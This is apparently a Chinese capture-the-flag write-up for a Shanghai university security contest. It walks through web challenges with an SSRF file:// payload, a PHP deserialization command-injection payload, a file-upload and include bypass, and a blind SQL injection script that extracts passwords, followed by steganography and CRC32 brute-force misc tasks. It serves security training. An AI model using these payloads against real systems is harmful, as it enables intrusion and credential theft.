第四届上海市大学生网络安全大赛web+misc题解
字数 1984 2025-08-18 11:37:42
第四届上海市大学生网络安全大赛Web+Misc题解教学文档
Web题目解析
Web1 - SSRF与文件读取
解题步骤:
- 查看
robots.txt发现flag.php和source.php - 访问
source.php需要管理员权限 - 绕过方法:
- POST数据:
admin=1 - 伪造IP:添加HTTP头
x-client-ip:127.0.0.1
- POST数据:
- 利用SSRF功能:
- 初始POST:
url=http://www.ichunqiu.com获取图片数据 - 发现是网站首页源码,确认SSRF漏洞
- 初始POST:
- 最终利用
file://协议读取本地文件:- Payload:
url=file://www.ichunqiu.com//var/www/html/flag.php - 下载JPG文件查看内容获取flag
- Payload:
关键点:
- robots.txt信息泄露
- IP伪造绕过
- SSRF漏洞利用
- file://协议读取本地文件
Web2 - 反序列化漏洞
源码分析:
class come {
private $method;
private $args;
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str) {
$str = preg_replace("/[ ]/", "", $str);
$str = str_replace('flag', '', $str);
return $str;
}
function echo($host) {
system("echo $host");
}
function __destruct() {
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
解题步骤:
- 构造GET参数使
$first==="doller":?first=doller&a=var=give&bbb=me&ccc=flag
- 构造反序列化payload执行命令:
- 绕过空格过滤:使用
$IFS - 绕过flag过滤:双写
flaflagg
- 绕过空格过滤:使用
- 最终payload:
O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflaflagg%60%22%3B%7D%7D
关键点:
- 反序列化漏洞利用
- WAF绕过技术
- 私有属性序列化格式
- 命令执行绕过
Web3 - 文件上传与包含
源码分析:
$dir = md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']) {
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext == $filename[count($filename) - 1]) {
die("emmmm");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
if(@substr(file($_)[0],0,6) === '@<?php' && strpos($_, $new_name) === false) {
include($_);
}
unlink($new_name);
}
解题步骤:
- 绕过文件扩展名检查:
- 构造数组使
end($filename) != $filename[count($filename)-1] - 例如:
[1=>'123', 5=>'php']
- 构造数组使
- 上传文件并包含:
- 上传文件内容以
@<?php开头 - 使用
123.php/.绕过unlink
- 上传文件内容以
- 爆破随机生成的文件名(100-999)
- 访问包含的文件执行命令获取flag
关键点:
- 数组构造绕过检查
- 文件包含漏洞
- unlink绕过技术
- 随机文件名爆破
Web4 - SQL注入与文件上传
解题步骤:
SQL注入部分:
- 发现注入点:
1' and 1=1%23 - 绕过
information_schema过滤:- 使用空格分隔:
information_schema . tables
- 使用空格分隔:
- 盲注脚本:
import requests
import string
url = 'http://target/select_guest.php?id='
flag = ''
for i in range(1,100):
for j in range(33,127):
payload = "1' and (ascii(substr((SELECT GROUP_CONCAT(password) FROM user),%d,1))=%d)%%23&Submit=Select+Guest"%(i,j)
url1 = url + payload
r = requests.get(url=url1)
if '10.10.1.1' in r.content:
flag = flag + chr(j)
print flag
break
- 获取管理员密码MD5并解密
文件上传部分:
- 登录后尝试上传绕过:
- 提示:
please upload to ./flag.php
- 提示:
- 构造路径:
- 利用
uploaddir参数拼接
- 利用
- 截断技巧:
- 使用
\x02截断而非\x00
- 使用
- 最终上传
flag.php获取flag
关键点:
- SQL注入绕过过滤技术
- 盲注脚本编写
- 文件上传路径控制
- 非常规截断方法
Misc题目解析
题目1 - 文件分析与隐写
解题步骤:
- 分析txt文件:
- 第一行末有倒置PNG头
- 最后一行有Word文件头
- 两种倒序处理:
- 得到加密Word文档和PNG图片
- 扫描二维码得到
:2?kEaX - Base92解密得到密码
Passwd - 打开Word文档:
- 移开二维码发现隐藏信息
- 扫描二维码获取部分flag
- "文档隐藏"上方发现部分flag
- 使用steganography工具:
- 从"YOU ARE ALIVE"图片中提取flag片段
- 拼接完整flag
关键点:
- 文件头分析
- 倒序处理技巧
- Base92编码
- 多重隐写技术
题目nofind - 流量分析与OpenPuff
解题步骤:
- 分析流量包:
- 在TCP流中发现上传的压缩包
- 导出HTTP对象获取文件:
example1(1).php
- 使用binwalk分离:
binwalk -e分离出图片
- 根据提示使用OpenPuff:
- 需要三个密码,图片提示
ct??????
- 需要三个密码,图片提示
- 分析HTTP对象中的三个CRC32值
- 编写CRC32爆破脚本:
import binascii
import itertools
def crc32_brute(length, target):
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for item in itertools.product(chars, repeat=length):
s = ''.join(item)
if binascii.crc32(s) & 0xffffffff == target:
print(s)
return s
return None
# 对三个CRC32值分别爆破6字节
crc32_brute(6, 0x12345678) # 替换为实际CRC32值
- 根据提示包含字母'f':
- 得到三个密钥:
ct93fjhl,ctmbof3k,ctv4gfx1
- 得到三个密钥:
- 输入OpenPuff解密获取flag
关键点:
- 流量分析技巧
- CRC32爆破方法
- OpenPuff使用
- 多重密码保护机制
总结
本比赛涵盖了多种网络安全技术:
Web方面:
- 信息收集与robots.txt利用
- SSRF漏洞利用与绕过
- 反序列化漏洞与WAF绕过
- 文件上传漏洞与包含漏洞
- SQL注入与盲注技术
Misc方面:
- 文件分析与隐写术
- 流量分析与数据提取
- CRC32爆破技术
- OpenPuff隐写工具使用
关键技巧:
- 各种协议和伪协议的利用(file://)
- WAF绕过技术(双写、$IFS等)
- 反序列化漏洞利用
- 非常规截断方法
- 多重隐写分析技术
- CRC32爆破与密码破解
这些技术在实际渗透测试和安全研究中都有广泛应用,掌握这些技能对于网络安全从业者至关重要。